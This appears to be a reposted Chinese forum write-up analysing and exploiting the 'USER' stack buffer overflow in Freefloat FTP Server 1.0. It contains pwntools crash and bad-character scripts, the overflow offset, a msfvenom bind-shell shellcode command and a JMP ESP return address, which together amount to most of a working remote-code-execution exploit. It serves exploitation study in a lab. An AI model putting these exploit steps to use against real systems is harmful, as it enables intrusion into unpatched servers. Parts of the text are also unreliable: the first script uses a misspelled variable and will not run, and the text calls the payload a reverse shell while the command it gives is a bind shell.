Freefloat FTP Server1.0栈溢出漏洞分析

伊索谗言

Freefloat FTP Server1.0栈溢出漏洞分析

一、漏洞信息

1. 漏洞简述

• 漏洞名称：Freefloat FTP server – ‘USER’ Remote Buffer Overflow
  
• 漏洞编号：EDB-ID 23243
  
• 漏洞类型：栈溢出
  
• 漏洞影响：远程代码执行
  
• 利用难度：Esay
  

2. 组件概述

freefloatftpserver1.0 用于打开ftp服务，用于上传文件和管理有线及无线设备的软件
3. 漏洞影响

freefloatftpserver1.0
二、漏洞复现

1. 环境搭建

• 靶机环境：Windows xp sp3
  
• 靶机配置：
  
  
  
  • freefloatftpserver1.0
    
  • Immunity Debugger
    
  • Mona
    
  
  
• 攻击机：kali 2.0
  
• 攻击机配置
  
  
  
  • 
    
    
    
    • Pwntools
      
    
    
  • 
    
    
    
    • Metasploit
      
    
    
  
  

2. 复现过程

使用两种工具Infigo FTPStress Fuzzer和Metasploit都能测试出溢出漏洞存在
2.1 使用Infigo FTPStress Fuzzer触发漏洞

2.1.1 在windowsXP运行漏洞程序，程序打开ftp服务，并监听21号端口




2.2 python发包测试

在kali攻击机用pwntools编写脚本，向ftp服务器的USER输入点发送数据包测试
    from pwn import *    p = remote("192.168.112.146", 21)    paylad = 'A'*500    p.sendline(payload)    p.interactive()程序崩溃，eip指向0x41414141，由发送的数据A的ascii码为0x41可知，USER输入点存在溢出漏洞

查询字符串

重新发送payload，单步调试，直到运行到出现异常的函数freefloa.004020E0

重复上述操作，接着在freefloa.00402190函数设置断点，单步步入，程序会在运行到00402881处跳转到004028EB处执行，之后调用freefloa.00402DE0函数，程序崩溃

观察此时esp指向的返回地址为0x41414141，执行retn下令之后eip指向0x41414141，使得程序崩溃

Strcpy函数存在溢出漏洞，将函数第三个参数a3的值复制到局部变量v8中，如果a3过长，会覆盖返回地址，那sub_00402DE0函数的参数a2，a3到底是什么？这就回溯到调用此函数的位置了，通过之前动态分析可以得到调用函数为00402190，IDA静态分析分析得Sub_00402190将输入的字符串与各种ftp下令进行比较，根据下令进行差异的相应。
用immunity debugger回溯到sub_00402190函数里的00402881地址，这个地址的指令跳转执行漏洞函数00402DE0，查看栈帧可以或许获得参数


结论：函数sub_402DE0栈帧结构，（ebp实际不存在，只是方便记录相对偏移）

4. 漏洞利用

1. 利用条件

Windows xp sp3未开启DEP保护
2. 利用过程

1. 排除坏字符

在生成shellcode之前需要确定坏字符，用mona生成一个0x00到0xff的bytearray，发送payload，比对哪个字符发送后会破坏payload，将其排除即可
from pwn import *p = remote('192.168.112.146',21)bytearray = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f""\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f""\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f""\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f""\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f""\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf""\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf""\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")payload = 'a'*(0xfc-1) + 'cccc' + bytearrayp.sendline(payload)p.interactive()2. 生成shellcode

利用metasploit生成windows反弹shell的shellcode，排除坏数据’\x00\x0a\x0d’，以c语言格式输出，靶机IP192.168.112.146
msfvenom -p windows/shell_bind_tcp LHOSTS=192.168.112.146 LPORT=4444 -b '\x00\x0a\x0d' -f c

从中选择一个地址0x77D29353，作为跳板，跳转到栈上执行shellcode

栈帧结构：

四、参考文献

• https://www.exploit-db.com/exploits/23243
  
• https://giantbranch.blog.csdn.net/article/details/53291788
  
• https://www.youtube.com/watch?v=i6Br57lh4uE
  
• https://rj45mp.github.io/Freefloat-FTP-Server1-0%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
  

freefloatftp漏洞分析.zip
1.18 MB, 下载次数: 18, 下载积分: 吾爱币 -1 CB


来源：http://www.12558.net
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！